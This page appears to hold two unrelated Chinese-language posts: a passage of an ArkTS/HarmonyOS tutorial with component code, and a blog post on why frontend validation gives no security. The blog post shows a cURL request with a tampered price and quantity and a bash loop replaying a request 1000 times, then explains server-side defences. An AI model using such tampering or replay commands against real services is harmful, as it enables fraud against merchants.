@Entry
@Component
struct ReusableListExample {
  @State items: string[] = Array.from({ length: 100 }, (_, i) => `Item ${i}`);
  
  build() {
    List() {
      ForEach(this.items, (item: string) => {
        ListItem() {
          ReusableListItem({ item: item })
        }
      })
    }
  }
}

13. 资源引用系统

ArkTS独有:

@Entry
@Component
struct ResourceExample {
  build() {
    Column({ space: 20 }) {
      // $r引用资源文件
      Text($r('app.string.hello'))  // 引用字符串资源
        .fontSize($r('app.float.title_font_size'))  // 引用数值资源
        .fontColor($r('app.color.primary'))  // 引用颜色资源
      
      Image($r('app.media.icon'))  // 引用图片资源
        .width(100)
        .height(100)
      
      // $rawfile引用rawfile目录下的文件
      Image($rawfile('background.png'))
      
      // 使用资源的格式化字符串
      Text($r('app.string.welcome_message', 'Zhang San'))
    }
  }
}

14. LocalStorage 页面级状态管理

ArkTS独有:

// 创建LocalStorage实例
let storage = new LocalStorage({ 'count': 0 });

@Entry(storage)
@Component
struct PageA {
  // @LocalStorageLink双向绑定
  @LocalStorageLink('count') count: number = 0;
  
  build() {
    Column({ space: 20 }) {
      Text(`Count: ${this.count}`)
      
      Button('Increase')
        .onClick(() => {
          this.count++;
        })
      
      Button('Go to Page B')
        .onClick(() => {
          router.pushUrl({ url: 'pages/PageB' });
        })
    }
  }
}

@Entry(storage)
@Component
struct PageB {
  // @LocalStorageProp单向同步
  @LocalStorageProp('count') count: number = 0;
  
  build() {
    Column() {
      Text(`Count from Page A: ${this.count}`)
    }
  }
}

15. AppStorage 应用级状态管理

ArkTS独有:

// 初始化应用全局状态
AppStorage.SetOrCreate('userInfo', { name: 'Guest', isLoggedIn: false });
AppStorage.SetOrCreate('theme', 'light');

@Entry
@Component
struct HomePage {
  // @StorageLink双向绑定应用全局状态
  @StorageLink('userInfo') userInfo: object = {};
  @StorageLink('theme') theme: string = 'light';
  
  build() {
    Column() {
      Text(`User: ${this.userInfo['name']}`)
      Text(`Theme: ${this.theme}`)
      
      Button('Toggle Theme')
        .onClick(() => {
          this.theme = this.theme === 'light' ? 'dark' : 'light';
        })
    }
  }
}

@Component
struct SettingsPage {
  // @StorageProp单向同步
  @StorageProp('theme') theme: string = 'light';
  
  build() {
    Column() {
      Text(`Current Theme: ${this.theme}`)
    }
  }
}

16. PersistentStorage 持久化存储

ArkTS独有:

// 持久化存储,应用重启后数据仍然存在
PersistentStorage.PersistProp('token', '');
PersistentStorage.PersistProp('username', 'Guest');

@Entry
@Component
struct LoginPage {
  @StorageLink('token') token: string = '';
  @StorageLink('username') username: string = '';
  
  login(username: string, password: string) {
    // 登录逻辑
    this.token = 'generated_token';
    this.username = username;
    // 数据会自动持久化
  }
  
  build() {
    Column() {
      if (this.token) {
        Text(`Welcome, ${this.username}`)
      } else {
        Button('Login')
          .onClick(() => {
            this.login('user123', 'password');
          })
      }
    }
  }
}

17. Environment 环境变量

ArkTS独有:

// 监听系统环境变化
Environment.EnvProp('colorMode', ColorMode.LIGHT);
Environment.EnvProp('languageCode', 'zh');

@Entry
@Component
struct EnvironmentExample {
  @StorageProp('colorMode') colorMode: number = ColorMode.LIGHT;
  @StorageProp('languageCode') language: string = 'zh';
  
  build() {
    Column() {
      Text(`Color Mode: ${this.colorMode === ColorMode.LIGHT ? 'Light' : 'Dark'}`)
      Text(`Language: ${this.language}`)
    }
    .backgroundColor(this.colorMode === ColorMode.LIGHT ? Color.White : Color.Black)
  }
}

ArkTS与TypeScript的主要区别总结

TypeScript没有但ArkTS有的核心特性:

  1. 声明式UI装饰器系统

    • @Component@Entry@Preview 等组件装饰器
    • TypeScript完全没有UI组件的概念
  2. 响应式状态管理装饰器

    • @State@Prop@Link@Provide@Consume
    • @ObjectLink@Observed@Watch
    • TypeScript需要借助第三方库(如MobX、Redux)
  3. UI构建专用语法

    • struct 结构体定义组件
    • build() 方法声明式构建UI
    • 链式调用设置属性
    • TypeScript没有这种内置UI语法
  4. 内置UI组件库

    • Column、Row、Stack、Flex、Grid等容器组件
    • Text、Button、Image、TextInput等基础组件
    • TypeScript需要依赖第三方UI框架
  5. UI复用装饰器

    • @Builder 自定义构建函数
    • @Styles 样式复用
    • @Extend 扩展组件
    • @CustomDialog 自定义弹窗
    • TypeScript没有这些UI复用机制
  6. 条件和循环渲染

    • ForEachLazyForEach 专用循环语法
    • 在build方法中直接使用if/else
    • TypeScript需要使用JSX或模板语法
  7. 状态管理系统

    • LocalStorage 页面级状态
    • AppStorage 应用级状态
    • PersistentStorage 持久化存储
    • Environment 环境变量
    • TypeScript需要第三方状态管理库
  8. 资源管理系统

    • $r() 资源引用
    • $rawfile() 原始文件引用
    • TypeScript没有统一的资源管理系统
  9. 并发和性能优化

    • @Concurrent 并发装饰器
    • @Reusable 组件复用
    • @AnimatableExtend 动画扩展
    • TypeScript需要手动管理
  10. 鸿蒙特有API

    • 分布式能力API
    • 系统服务API
    • 设备协同API

ArkTS限制的TypeScript特性:

  1. 禁用或限制的特性

    • 严格限制any类型使用
    • 禁止原型链操作
    • 禁止evalFunction构造器
    • 禁止with语句
    • 限制动态属性访问
  2. 更严格的类型要求

    • 强制类型声明
    • 更严格的null安全检查
    • 更严格的类型推断

总结: ArkTS在TypeScript基础上,新增了完整的声明式UI开发体系、响应式状态管理系统、内置组件库等大量TypeScript没有的特性,同时限制了一些动态特性以提高性能和类型安全。这使得ArkTS成为专门为鸿蒙应用开发设计的语言。

为什么永远不要相信前端输入?绕过前端验证,只需一个 cURL 命令!

作者 ErpanOmer
2025年12月8日 11:21

image.png

大家好😁。

上个月 Code Review,我拦下了一个新人的代码。

他写了一个转账功能,前端做了极其严密的校验:

  • 金额必须是数字。
  • 金额必须大于 0。
  • 余额不足时,提交按钮是 disabled 的。
  • 甚至还写了复杂的正则表达式,防止输入负号。

他自信满满地跟我说:老大,放心吧,我前端卡得死死的,用户绝对传不了非法数据。

我笑了笑🤣,没看他的后端代码,直接打开终端,敲了一行命令。

0.5 秒后,他的数据库里多了一笔“-10000”的转账记录,余额瞬间暴涨!

他看着屏幕,目瞪口呆:这……你是怎么做到的?我按钮明明置灰了啊!

今天,我就来揭秘这个所有后端(和全栈)工程师必须铭记的第一铁律:

前端验证,在黑客眼里,只是个小case🤔。


我是如何羞辱前端验证的

假设我们有一个购物网站,前端有一个简单的购买表单。

前端逻辑(看似完美):

// Front-end code
function submitOrder(price, quantity) {
  // 1. 校验价格不能被篡改
  if (price !== 999) {
    alert("价格异常!");
    return;
  }
  // 2. 校验数量必须为正数
  if (quantity <= 0) {
    alert("数量必须大于0!");
    return;
  }
  
  // 发送请求
  api.post('/buy', { price, quantity });
}

你看,用户在浏览器里确实没法作恶。他改不了价格,也填不了负数。

但是黑客,从来不用浏览器点你的按钮。

第一步:打开DevTools Network 面板,正常点一次购买按钮。捕获到了这个请求。

第二步:请求上右键 -> 复制 -> cURL 格式复制。

image.png

这一步,我已经拿到了你发送请求的所有密钥:URL、Headers、Cookies、以及那个看似合法的 Data。

第三步:打开终端(Terminal),粘贴刚才复制的命令。但是,我并没有直接回车。

我修改了 --data-raw 里的参数:

  • "price": 999 改成了 "price": 0.01
  • 或者把 "quantity": 1 改成了 "quantity": -100
# 经过魔改后的命令
curl 'http://localhost:3000/user/buy' \
  -H 'Cookie: session_id=...' \
  -H 'Content-Type: application/json' \
  --data-raw '{"price": 0.01, "quantity": 10}' \
  --compressed

回车!

服务器返回:{ "status": "success", "msg": ok!" }

恭喜你,你的前端验证毫发无损,但你的数据库已经被我击穿了。 我用 1 分钱买了 10 个商品,或者通过负数数量,反向刷了库存。


为什么前端验证, 防不了小人🤔

很多新人最大的误区,就是认为用户只能通过我的 UI 来访问我的服务器。

错!大错特错!

Web 的本质是 HTTP 协议。

HTTP 协议是无状态的、公开的。任何能够发送 HTTP 请求的客户端,都是你的用户。

  • Chrome 是客户端。
  • cURL 是客户端。
  • Postman 是客户端。
  • Python 的 requests 脚本也是客户端。
  • node 的 http 脚本也是客户端

前端代码运行在用户的电脑上。

这意味着,用户拥有对前端代码的绝对控制权

  • 他可以禁用 JS。
  • 他可以在 Console 里重写你的校验函数。
  • 他可以拦截请求(用 Charles/Fiddler)并修改数据。
  • 他甚至可以完全抛弃浏览器,直接用脚本轰炸你的 API。

所以,前端验证的唯一作用,是提升用户体验 (比如提示用户格式不对😂),而不是提供安全性😖。


后端该如何防御?(不要裸奔)

既然前端不可信,后端(或 BFF 层)就必须假设所有发过来的数据都是有毒的

1. 永远不要相信 Payload 里的关键数据

前端只传 productId。后端拿到 ID 后,去数据库里查这个商品到底多少钱。永远以数据库为准。

2. 使用 Schema 校验库(Zod / Joi / class-validator)

不要在 Controller 里写一堆 if (req.body.age < 0)。

使用专业的 Schema 校验库,定义好数据的规则。

TypeScript代码👇:

// 使用 Zod 定义后端校验规则
const OrderSchema = z.object({
  productId: z.string(),
  // 强制要求 quantity 必须是正整数,拦截 -100 这种攻击
  quantity: z.number().int().positive(), 
  // 注意:这里根本不接收 price 字段,防止被注入
});

// 如果校验失败,直接抛出 400 错误,逻辑根本进不去
const data = OrderSchema.parse(req.body); 

3. 权限与状态校验

不要只看数据格式对不对,还要看人对不对。

  • 这个用户有权限买这个商品吗?
  • 这个订单现在的状态允许支付吗?(防止重复支付攻击🤔)

还有一种更高级的攻击:Replay Attack(重放攻击)

你以为校验了数据就安全了?

如果我拦截了你一次领优惠券的请求,虽然我改不了数据,但我可以用 cURL 连续运行 1000 次这个命令。

# 一个简单的循环,瞬间刷爆你的接口
for i in {1..1000}; do curl ... ; done

如果你的后端没有做幂等性(Idempotency)校验或频率限制(Rate Limiting) ,那我瞬间就能领走 1000 张优惠券。

防御手段👇:

  • Redis 计数器:限制每个 IP/用户 每秒只能请求几次。
  • 唯一 Request ID:对于关键操作,要求前端生成一个 UUID,后端处理完后记录下来。如果同一个 UUID 再次请求,直接拒绝。

对于前端安全,所有的输入都是可疑的🤔

作为全栈或后端开发者,当你写 API 时,请忘掉你那个漂亮的前端界面。

你的脑海里应该只有一幅画面:

image.png

屏幕对面,不是一个点鼠标的用户,而是一个正在敲 cURL 命令的黑客。

只有这样,你的代码才算真正安全了😒。

❌
❌